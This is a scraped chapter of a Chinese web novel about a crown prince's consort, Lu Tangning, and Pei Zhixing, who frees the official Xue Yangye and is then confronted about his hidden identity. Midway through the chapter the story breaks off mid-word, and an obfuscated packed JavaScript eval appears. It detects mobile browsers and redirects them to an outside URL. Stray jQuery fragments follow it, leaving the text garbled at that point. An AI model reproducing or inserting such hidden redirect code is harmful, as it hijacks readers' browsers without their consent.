万书库 > 都市小说 > 世子妃今天还能摆烂吗 > 47. 你的名字
    吃饭的时候,一道炽热的视线一直落在陆棠宁的头顶,她忍无可忍地瞪了对方一眼,才勉强吃完饭。


    裴知行一直打量着她,发现她脸颊不似之前圆润,好不容易养起来的一些肉已经全部消减下去,就连腰身都细了许多,他越看就越心疼,于是不停地给她夹菜,直到陆棠宁实在吃不下才肯罢休。


    “我在京城还有一处别院,你现在那里住上两天,等我把薛大人救出来就去接你和他见面,好吗?”


    太子一早给他传过信,默山也将这一路上发生的事情都告诉了他,他从赶来找她的那一刻就让默山去别院准备了。


    陆棠宁却摇头,没有同意他的做法,“我去薛府住,现在最危险的地方就是最安全的地方,任凭五皇子等人回来,也万万想不到我就住在薛府,一个已经被查封了的地方。而且保不定他已经知晓你我二人的关系,若是查的你的别院,牵连到你怎么办?”


    他们当初在菱歌城并没有隐瞒身份,五皇子在菱歌城住了许久,只要有心就能查出他们曾经的关系。


    裴知行听着她口中连累之类的话就莫名心中不舒坦,但也知道她说得有理,薛府或许真的比他的别院要安全,“好,我另外找个人陪你一起。”


    午饭过后,他带着陆棠宁翻墙进入薛府,还不等他找路,就发现陆棠宁轻车熟路地逛起来,就好像她曾经在这里住了许久,走过每一条路,知道每一个方向。


    他咽下所有的话,默默跟在她的身后,只见她走到后院中,一处与其他质朴的地方截然不同的别院。


    薛府贫穷,薛大人也不在意身外之物,因此整间院子几乎和从外面看到的一模一样,甚至可以用“破旧”二字来形容。


    可唯独这间小院不同,裴知行抬头看去,门匾上写着“平安苑”,上面的自己苍劲有力,是他曾经见过的,薛扬业的亲笔。


    走进小院内,种着几棵海棠树,树下有一张石桌和三个石凳,不远处是花圃,种着些京城人家常见的花,但被人打理得很好,只因为缺水叶片稍稍发黄。


    这是陆棠宁曾经住过的小院,裴知行第一反应就是这个,他迅速抬眸寻找着熟悉的身影,陆棠宁已经走到门前,推开房门,没有预料中的灰层,屋内十分干净整洁,并没有因为主人的离开而荒废。


    裴知行立即抬腿跟上去,这间小屋并不大,里面的设施却很完整,床上还铺着干净的夏被,一看就是没换多久的,陆棠宁走到床边,好不容易止住的眼泪又有些复发的趋势,鼻尖酸酸的,就连嗓子眼也像被人糊住一般。


    “宁宁。”裴知行心中难受,就连他自己也说不清楚那究竟是一种什么样的感觉,只觉得心头堵得慌。


    陆棠宁将眼泪憋回去:“我没事,你快去忙吧。”


    见她想要一个人静静,裴知行默默收回伸出的手背在身后,将屋子留给她一人,还不忘贴心地关上门,然后悄悄离开。


    陆棠宁一个人坐在屋内,也不知道时间过了多久,她才终于站起身朝外走去,刚一开门,就有一个人影突然窜出来,她吓得往后一退。


    那人见吓到她,连忙低下头:“属下默云见过小姐。”


    女子的声音英气十足,陆棠宁好奇地打量着她,眉眼锐利,唇线分明,手持利剑,窄袖戎装,瞧着便是位武功高强的女侠,陆棠宁看着她问道:“你和默山是什么关系?”


    默云依旧低着头,听到她的问题,眉头轻轻一蹙:“属下与他同是主子的下属,并无其他关系。”


    陆棠宁本就随口一问,见她如此认真也就笑笑没再说话。


    而另一边,裴知行在吩咐默云保护陆棠宁后,独自进宫面圣,皇帝见到他来,面上带着笑:“怎么这么晚了还进宫?可是暗杀之事有线索了?”


    裴知行没有回话,而是跪下行礼:“启禀陛下,此事臣已经尚有眉目,假以时日必当给陛下一个交代,但臣今日来访,还有另一件事想要请求陛下。”


    皇帝闻言放下手中的笔,问道:“哦?所谓何事?”


    裴知行叩首:“当日臣得胜归来,陛下许臣一个心愿,臣想请求陛下释放薛扬业薛大人。”


    话落,空气里静的没有一丝声音,良久,他才听到奏折被用力拍在桌案上,皇帝板着脸,沉声问道:“当初朕确实许诺过你,金银珠宝,良田美妾,你想要什么朕都可以许给你,你当真要用这份战功换一个罪臣?”


    裴知行抬起头,声音坚定:“臣确定。”


    皇帝听着他如此笃定,又问道:“那你那个逃跑的世子妃,朕该如何处置呢?她可是上了皇家礼碟的,假死逃跑可是罪加一等。”


    “当初臣生死不知,世子妃太过忧心臣才去寺庙祈福,悲痛之下前往江南散心。”裴知行俯首,一字一句解释。


    皇帝气极反笑,心中却不停谋算着,“好,朕就依你所愿,你亲自去接他吧。”


    “谢陛下隆恩。”裴知行起身退出去,带着圣喻将薛扬业从天牢中救出,虽然这些日子薛扬业在天牢中并没有怎么吃苦头,但还是十分狼狈,他怕陆棠宁见到薛扬业这副模样又会难过,于是将薛扬业带去了客栈,让他好生休养一日。


    而且他还没想好要怎么和陆棠宁坦白自己的身份,他在打量薛扬业的同时,薛扬业也在打量他。


    他们二人曾经也只在官场中见过,对彼此都不甚熟悉,此刻薛扬业心中也不断揣度,他为何会救自己,难道是因为自己帮他送走了宁宁,好让他不被婚事牵扯?


    “薛大人暂时在此处休息一晚,等明日我再来接您。”裴知行说完,倏地不见了人影,徒留薛扬业抬手,留下满腹疑惑。


    已经到了初秋,夜晚的风吹在身上有些凉,平日里一炷香时间的路,他生生走了半个时辰。


    刚踏入薛府,一道身影飞速朝他攻击,剑光闪过,裴知行才忽然回神,闪身躲过,默云在看到他的那一刹,迅速收回剑,恭敬道:“主子。”


    裴知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468571|201351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    行望着还亮着的小院,轻声道:“你去休息吧,我来守着就好。”


    默云听后,看都没看他一眼,转身跳上了树,她曾经是暗卫,在树上睡觉是暗卫的基本功,顺道揪出两团棉花堵住耳朵,毕竟干他们这行的,主子的闲话还是少听为妙。


    裴知行长舒口气,蹑手蹑脚走到门前,手悬在空中许久才终于敲响了门,陆棠宁本就睡不着,在听到有人敲门的一瞬间,快速从床上爬起来开门。


    门一开,屋里的烛光照亮门前,裴知行负手而立,眼底是藏不住的复杂,他低下头,女子的一切正正好落在他的眼中,猝不及防地撞上她急切的视线,他不动声色地后撤一步,紧张地吞咽起来。


    “宁宁。”


    陆棠宁察觉到他的异常,以为是薛扬业出了事,急切问道:“薛大人还好吗?”


    这一话如同一盆冷水将裴知行浇了个透顶,难耐地垂下眸,有些自暴自弃地揽过女子柔软的腰,脚尖轻点,一跃而起,陆棠宁惊呼出声,紧紧抱住他,裴知行带着她上了屋顶,泠冽孤寂的月光在屋顶上铺满一层银色的水光,连带着面前人的脸色都染上惨白。


    “宁宁。”裴知行依旧搂着她的腰,不肯放手,声音发闷,“我去帮你求了陛下,陛下答应会放了薛大人,但他也有要求。”


    陆棠宁一听薛扬业没事,顿时松了口气,问道:“陛下有什么要求?”


    裴知行深深地望了她一眼,旋即坐直身子,假装抬头赏月,不敢看向她,“陛下给了你连个选择,一是彻底放弃世子妃的身份,永远不能再回京城,二是回到燕王府继续做世子妃,他就当这件事没有发生过。”


    闻言,陆棠宁侧过头看着他,似乎是在考量他话中的真假,裴知行紧张到呼吸停滞,他确实有私心,想以此试探陆棠宁的心中是否有他。


    不过不论她选择哪个,他都会牢牢的牵住她的手,永远也不放开。


    若是她选择放弃世子妃的身份与他和离,那他就用全新的身份再和她成一次亲,这次就由他亲自接她回家,若是她选择继续做世子妃,那他就和她坦白一切,反正和她在一起的人只能是他,也只会是他。


    他的视线太具有侵略性,陆棠宁被他盯到垂下头去,也不知道时间过去了多久,风声吹过树梢,带着树叶发出沙沙声,陆棠宁的声音像是被风吹过,“你说,我是该叫你余识远还是裴知行呢?”


    头顶的视线在一瞬间消失,她能察觉到腰间的手在隐隐发颤,陆棠宁有些自嘲地勾起嘴角,她终于撕破了心里那层布,那层她不愿意去想,拼命让自己忽视的布。


    她扬起头,长发随风飞舞,再次问道:“你说,我到底该叫你什么呢?世子。”


    她的声音轻飘飘的,像从树上吹落的叶片,旋转着落地,却终终砸在裴知行的心上。


    默云将耳朵里的棉花又往里塞了塞,翻身继续睡去,她就说,干这行的耳朵太灵不是好事,主子的事她还是当做不知道的好。